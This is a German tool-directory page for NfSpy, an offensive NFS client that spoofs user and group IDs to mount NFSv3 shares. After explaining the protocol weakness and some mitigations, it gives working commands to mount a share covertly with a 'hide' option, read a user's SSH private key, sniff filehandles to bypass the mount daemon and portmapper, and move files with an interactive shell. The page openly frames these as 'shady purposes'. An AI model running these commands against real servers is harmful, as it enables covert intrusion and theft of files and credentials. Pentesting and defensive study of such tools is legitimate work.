Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
NfSpy — NFS-Client mit ID-Spoofing | Kitploit
Tools/GitHubGitHub/bonsaiviking/nfspy
Privilege EscalationExploitationInformationsbeschaffungNetzwerksicherheitPenetrationstestsAuthentifizierungRed Teaming
GitHubbonsaiviking/nfspy

NfSpy

NFS-Client mit ID-Spoofing

Repository anzeigen
298561vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

NfSpy - ein NFS-Client zum Spoofen von IDs

von Daniel Miller

NfSpy ist eine Python-Bibliothek zur Automatisierung der Fälschung von NFS-Anmeldeinformationen beim Mounten einer NFS-Freigabe. Enthalten sind zwei Client-Programme:

  • nfspy verwendet die Bibliothek Filesystem in Userspace (FUSE), um eine NFS-Freigabe in Linux zu mounten. Dies ermöglicht die Verwendung beliebiger regulärer Dateisuch- und -bearbeitungsprogramme wie grep und find, um den NFS-Export zu durchsuchen.

  • nfspysh ist eine ftp-ähnliche interaktive Shell zum Durchsuchen von NFS-Exporten. Sie benötigt die FUSE-Bibliothek nicht und kann daher auf Nicht-Linux-Plattformen ausgeführt werden.

Ausgenutzte Sicherheitslücke

NFS vor Version 4 verlässt sich bei der Authentifizierung auf Host-Vertrauensbeziehungen. Der NFS-Server vertraut darauf, dass alle Client-Maschinen Benutzer authentifizieren und dieselben Benutzer-IDs (UIDs) zuweisen, die das gemeinsame Dateisystem verwendet. Dies funktioniert beispielsweise in NIS-, NIS+- und LDAP-Domänen, aber nur, wenn man weiß, dass die Client-Maschine nicht kompromittiert ist oder ihre Identität fälscht. Der Grund dafür ist, dass die einzige Authentifizierung im NFS-Protokoll die Übertragung von UID und GID (Gruppen-ID) ist. Es gibt einige Möglichkeiten, die Sicherheit von NFS zu erhöhen, aber viele davon sind unvollständige Lösungen, und selbst mit allen drei hier aufgeführten Maßnahmen könnte es immer noch möglich sein, die Sicherheitsvorkehrungen zu umgehen.

Root-Squash

Der Server oder die Freigabe (im NFS-Jargon „Export“) kann mit root_squash konfiguriert werden, was bedeutet, dass alle Anfragen, die vorgeben, UID oder GID 0 (root) zu sein, wie der Benutzer nobody oder das entsprechende Äquivalent auf dem System behandelt werden. Dies verhindert nicht, dass ein Angreifer eine andere UID/GID-Kombination fälscht, schützt aber die sensibelsten Informationen und Konfigurationen auf dem Export.

nfs_portmon

Eine weitere Einstellung, die aktiviert werden kann, ist nfs_portmon, die Anfragen von Quellports außerhalb des Bereichs 513–1024 ablehnt. Da normalerweise nur root diese Ports belegen kann, verhindert dies, dass ein normaler Benutzer auf einer vertrauenswürdigen Maschine einen eigenen NFS-Client schreibt und verwendet, der UID/GID fälscht. Es verhindert jedoch nicht, dass ein böswilliger Host, ein Benutzer mit su-Rechten oder eine auf Root-Ebene kompromittierte Maschine dasselbe tut.

Exportbeschränkungen

Freigaben/Exporte können so gesteuert werden, dass nur bestimmte Maschinen darauf zugreifen können. Diese Zugriffskontrolllisten können Folgendes enthalten:

  • IP-Adressen (z. B. 192.168.1.34)
  • IP-Präfixe (z. B. @192.168.1)
  • Hostnamen (z. B. server1.mydom.nis)
  • Host-Listen (z. B. @trusted_hosts)
  • „everyone“

Die beste Konfiguration wäre die Verwendung einer Host-Liste, da eine Abfrage des nfs-Daemons nur den Namen der Liste liefert, nicht jedoch die darin enthaltenen Adressen oder Namen. Als Nächstes wären IP-Adressen oder Hostnamen zu nennen, da diese schwerer zu fälschen sind. IP-Präfixe und „everyone“ sind Anzeichen für Unsicherheit, da nur wenig oder gar keine Einschränkung besteht, welche Adressen sich verbinden können.

Verwendung von NfSpy

Eine Liste der Optionen erhält man durch Ausführen von

root@kitploit:~
nfspy --help

Beispiel

Auf 192.168.1.124 läuft ein NFS-Server.

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

Mounten Sie die Freigabe. Die Verwendung von sudo ermöglicht es, sich an einen privilegierten Port zu binden, und die Option allow_other erlaubt jedem Benutzer die Nutzung des Dateisystems. Die andere neue Option hier ist „hide“, die die Freigabe auf dem Server sofort „unmountet“, aber den erhaltenen Filehandle behält. Dies verbirgt Ihre Anwesenheit vor allen, die showmount -a verwenden.

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

Genießen Sie Ihre neu gewonnene Freiheit!

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

Zum Unmounten verwenden Sie fusermount:

root@kitploit:~
$ sudo fusermount -u /mnt

Fortgeschrittenes Beispiel

Auf 192.168.1.124 läuft ein NFS-Server. Portmap ist blockiert, daher können Sie keine Liste der Freigaben erhalten, aber Sie können den Netzwerkverkehr mitlesen.

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

Verwenden Sie nun die Mount-Optionen dirhandle und getroot, um den Mount-Daemon zu umgehen, und die Option nfsport, um den Portmapper zu umgehen. Dabei wird der Verzeichnisbaum bis zum Wurzelverzeichnis des Exports durchlaufen.

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

Beachten Sie, dass wir keinen Pfad zum Mounten angegeben haben, da wir nur den NFS-Filehandle kennen. Damit dies funktioniert, muss der Handle auf ein Verzeichnis verweisen, nicht auf eine Datei, und Sie müssen schnell arbeiten, sonst wird der Handle veraltet.

Das Programm tshark ist Teil des Wireshark-Projekts. Das bekannte Programm tcpdump kann mit der Option -u ebenfalls NFS-Filehandles dekodieren:

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

Bei diesen Filehandles handelt es sich um 4-Byte-Werte, die durch Doppelpunkte getrennt sind. Sie müssen sie also selbst mit Nullen auffüllen; NfSpy entfernt lediglich die Doppelpunkte, was nicht korrekt ist.

Verwendung von nfspysh

nfspysh akzeptiert im selben Format wie nfspy denselben grundlegenden Satz an Optionen, daher sollte das obige Tutorial problemlos funktionieren. Die Liste der Befehle kann mit dem Befehl „help“ angezeigt werden.

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

FEHLER

  • Schreibzugriff ist Beta. Es hat in meinen Tests auf einigen Systemen funktioniert, könnte aber mehr Tests gebrauchen. Aus diesem Grund mountet NfSpy standardmäßig mit ro. Geben Sie die Mount-Option rw an, um dies zu ändern. (nfspysh hat keinen Nur-Lese-Modus. Seien Sie vorsichtig!)

  • NfSpy funktioniert nicht mit den Standarddiensten lockd und statd, was beim Schreiben von Dateien zu Problemen führen kann. Für Nur-Lese-Zugriff und die meisten zwielichtigen Zwecke, für die es gedacht ist, sollte dies jedoch kein Problem sein.

  • NfSpy unterstützt derzeit nur NFSv3. Zukünftige Versionen werden möglicherweise intelligent eine NFS-Version auswählen.

Tool herunterladen